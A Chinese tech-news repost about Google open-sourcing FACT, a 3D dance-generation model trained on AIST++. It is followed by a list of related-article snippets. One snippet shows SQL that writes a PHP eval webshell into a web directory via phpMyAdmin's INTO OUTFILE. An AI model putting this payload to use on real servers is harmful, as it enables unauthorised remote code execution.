谷歌开源3D舞蹈生成模型FACT,舞姿清奇!

文 | 御坂弟弟

出品 | OSC开源社区(ID:oschina2013)

谷歌开源了其基于 AIST++ 的 3D 舞蹈生成模型 FACT。该模型不仅可以学习音乐-运动对应关系,还可以生成以音乐为基础的 3D 运动序列。

5d8d18895a6a1adceb6465ed9c2a36de.gif

此前,谷歌层发布了大规模的多模态 3D 舞蹈动作数据集 AIST++,它包含了 1408 个序列中 5.2 小时的 3D 舞蹈动作,涵盖了 10 种舞蹈流派,每个序列都包括已知相机姿势的多视角视频。而 FACT 模型则可以使用使用这些数据从音乐生成 3D 舞蹈,甚至可以帮助增强一个人的编舞能力。

根据谷歌描述,该模型首先使用单独的运动和音频转换器对种子运动和音频输入进行编码,然后将嵌入连接起来并发送到跨模态转换器,该转换器学习两种模态之间的对应关系并生成 N 个未来的运动序列,然后使用这些序列以自我监督的方式训练模型。在测试时,将此模型应用于自回归框架,其中预测的运动作为下一代步骤的输入,从而使 FACT 模型能够逐帧生成长距离舞蹈动作。

221672c40e5fcf1a84a862f9ffeb7927.png

此外,谷歌还解释了 FACT 涉及的三个关键设计选择,这些选择对于从音乐中产生逼真的 3D 舞蹈动作至关重要,包括所有转换器都使用全注意掩码、训练模型会预测当前输入之外的 N 个未来而不仅仅是下一个动作以及采用了一个深度的12层跨模式转换模块。最终,FACT 表现出了较好的运动质量、生成多样性、以及节拍对齐分数。

目前,用于训练的数据 AIST++、FACT 模型代码以及一个经过训练的模型均已发布。

END

cac4a1118b25af77e63e7d50e2d777c3.png

4dc51dd5c1ff421350b46dbff2f72119.png觉得不错,请点个在看呀

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/298035.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue click事件_vue指令用法

vue指令指令式带有 v- 前缀的特殊特性v-text和v-html都属于指令将数据和dom做关联&#xff0c;当表达式的值改变时&#xff0c;响应式地作用在视图解决大胡子语法闪烁案例[v-cloak] {dispaly: none; }一般把v-cloak绑在Vue实例el属性绑定的节点上<!DOCTYPE html> <htm…

android 游戏 重力

引用&#xff1a;http://d-android.com/developer/thread-4539-1-1.html 在重力传感器中&#xff0c;虽然我也实现了一个圆形会根据手机反转的角度而拥有不同的速度,但是其内置加速度算法都是Android os封装好的&#xff0c;而今天我们要讲的重力系统就是去模拟这个加速度&…

冒泡排序c java c,冒泡排序,c语言冒泡排序法代码

冒泡排序&#xff0c;c语言冒泡排序法代码冒泡排序冒泡排序(Bubble Sort)&#xff0c;是一种计算机科学领域的较简单的排序算法。它重复地走访过要排序的元素列&#xff0c;依次比较两个相邻的元素&#xff0c;如果顺序(如从大到小、首字母从Z到A)错误就把他们交换过来。走访元…

男人从小到大的梦想

1 哪个男孩子不想拥有挖掘机呢2 竟然还有这种操作&#xff1f;&#xff1f;&#xff1f;3 这难道是传说中的好冷鸭 哈哈哈4 这些。。都是我的吗&#xff1f;&#xff1f;&#xff01;&#xff01;5 流浪的小可爱被收养之后&#xff0c;终于可以睡个安稳觉了&#xff01;6 好好的…

Oralce函数

日期函数--增加一天select sysdate INTERVAL 1 DAY from dual;--增加1小时SELECT sysdate INTERVAL 1 HOUR from dual;--增加1分钟SELECT sysdate INTERVAL 1 MINUTE from dual;--增加1秒钟SELECT sysdate INTERVAL 1 SECOND from dual; 转载于:https://www.cnblogs.com/ji…

10个人里有几个大学生?

大家好&#xff0c;我是Z哥。昨天看了一份报告&#xff0c;感触特别深&#xff0c;想随便聊几句。留给未来作为父亲时的自己。前几天教育部发布了 2020 年的《教育发展统计公报》&#xff0c;看着里面的一张张图表&#xff0c;不由得感叹一句&#xff0c;“读书这事真的是快内卷…

win2003无法进入桌面_救急,如何通过命令行备份桌面重要文件?

今天要说的问题&#xff0c;日常使用中还蛮常见的&#xff0c;比如出现紧急:近期系统更新后进不了系统的一定要看!中类似的情况。对于具有U盘启动盘的朋友们来说&#xff0c;这不是事&#xff0c;因为我们可以通过U盘启动进PE来备份数据&#xff0c;但是日常中&#xff0c;大部…

IE9浏览Flash页面时显示错位并不停地闪烁

之前&#xff0c;在一次开机进入系统后&#xff0c;弹出Flash Player安装新版本的窗口&#xff0c;我验证了是Adobe的数字签名后就执行了安装操作。 后来在使用IE9浏览带有Flash元素的页面时&#xff0c;其Flash元素显示都错位了&#xff0c;并跑到网页的左上角了&#xff0c;其…

在phpmyadmin后台获取webshell方法汇总整理

方法一&#xff1a;CREATE TABLE mysql.xiaoma (xiaoma1 TEXT NOT NULL );INSERT INTO mysql.xiaoma (xiaoma1 )VALUES (<?php eval($_POST[xiaoma])?>);SELECT xiaomaFROM study INTO OUTFILE E:/wamp/www/7.php;----以上同一时候运行&#xff0c;在数据库: mysql 下创…

matlab一维插值extrap,matlab二维插值

介绍griddata及interp2算法matlab二维插值--interp2与griddata from:matlab功能强大&#xff0c;以至于不知道他不能做什么&#xff0c;只是怨自己没有找到相应的函数。 二者均是常用的二维差值方法&#xff0c;两者的区别是&#xff0c;interp2的插值数据必须是矩形域&#xf…

操作系统概念 ppt_智能家居操作系统三国拉锯,要出结果了吗?

海尔、百度、华为盘踞的智能家居操作系统&#xff0c;谁拿下传统家电企业了&#xff1f;文/郭锴来源/智能相对论(aixdlun)福特曾说&#xff0c;如果你问消费者他们想要什么&#xff0c;得到的答案只会是一匹更快的马。汽车大王福特给消费者了汽车&#xff0c;手机教父乔布斯拿出…

垃圾站

http://www.heiqu.com/

阿拉伯数字转成大写

function NoToChinese(num) {if (!/^\d*(\.\d*)?$/.test(num)) {alert("Number is wrong!"); return "Number is wrong!"; } var AA new Array("零", "壹", "贰", "叁", "肆", "伍", "…

史上超强的学科碰撞,有生之年必看系列!

▲ 点击查看 马云在一次演讲中&#xff0c;说过这样一段话&#xff1a;现今社会&#xff0c;如果我们继续以前的教学方法对我们的孩子进行记、背、算这些东西&#xff0c;不让孩子去体验&#xff0c;去玩&#xff0c;不让他们去尝试琴棋书画。我可以保证&#xff1a;三十年后孩…

《那些年啊,那些事——一个程序员的奋斗史》——35

段伏枥好不容易搞明白窗口创建的流程之后&#xff0c;接下来的事情&#xff0c;倒是让他发愁了。UI界面肯定不止是一个界面那么简单&#xff0c;还有什么背光设置啊&#xff0c;多媒体之类&#xff0c;那这些应该如何组织呢&#xff1f;之前段伏枥的做法&#xff0c;是将所有的…

php如果字符串有1 3 5,PHP常用字符串函数小结

PHP常用字符串函数小结来源&#xff1a;程序员人生 发布时间&#xff1a;2015-01-22 09:02:32 阅读次数&#xff1a;1594次1、判断类型的函数is_bool() //判断是不是为布尔型is_float() //判断是不是为浮点型is_real() //同上is_int() //判断是不是为整型is_integer() //同上…

使用zipKin构建NetCore分布式链路跟踪

本文主要讲解使用ZipKin构建NetCore分布式链路跟踪场景因为最近公司业务量增加&#xff0c;而项目也需要增大部署数量&#xff0c;K8S中Pod基本都扩容了一倍&#xff0c;新增了若干物理机&#xff0c;部分物理机网络通信存在问题&#xff0c;导致部分请求打入有问题的物理机时总…

micropython 网络驱动_network_网卡驱动

# network _视频 (import network)network 用于初始化各种网卡驱动*****## **构造函数&#xff1a;*** [ ] **播录视频**class network.ESP8285(uart)>初始化ESP8285&#xff0c;构造一个ESP8285网卡对象&#xff0c;使用需要传入一个uart对象*参数&#xff1a;** uart: 与A…

工作心得

各位朋友大家好&#xff1a;今天很高兴可以和大家对于工作的经验方面发表一些自己的看法&#xff0c;希望能对大家有所帮助&#xff0c;也希望和大家多交流交流&#xff0c;对此说一下这7年来参加工作后的一些体会&#xff0c;如有不对之处&#xff0c;还请大家指出&#xff0c…

matlab 抽样判决代码,matlab抽样判决器

低通 滤波器 LPF 用于滤除高频分量,提高信噪比;抽样判决所需的同步时钟需要从...通信原理 MATLAB 仿真实验 基于 MATLAB 的第一类部分响应系统的 基带信号及其眼图...这种方法具体做法是:用一个示波器跨接在抽样判决器的输入端,然后调整示波 器......(经抽样判决器解调信号波形…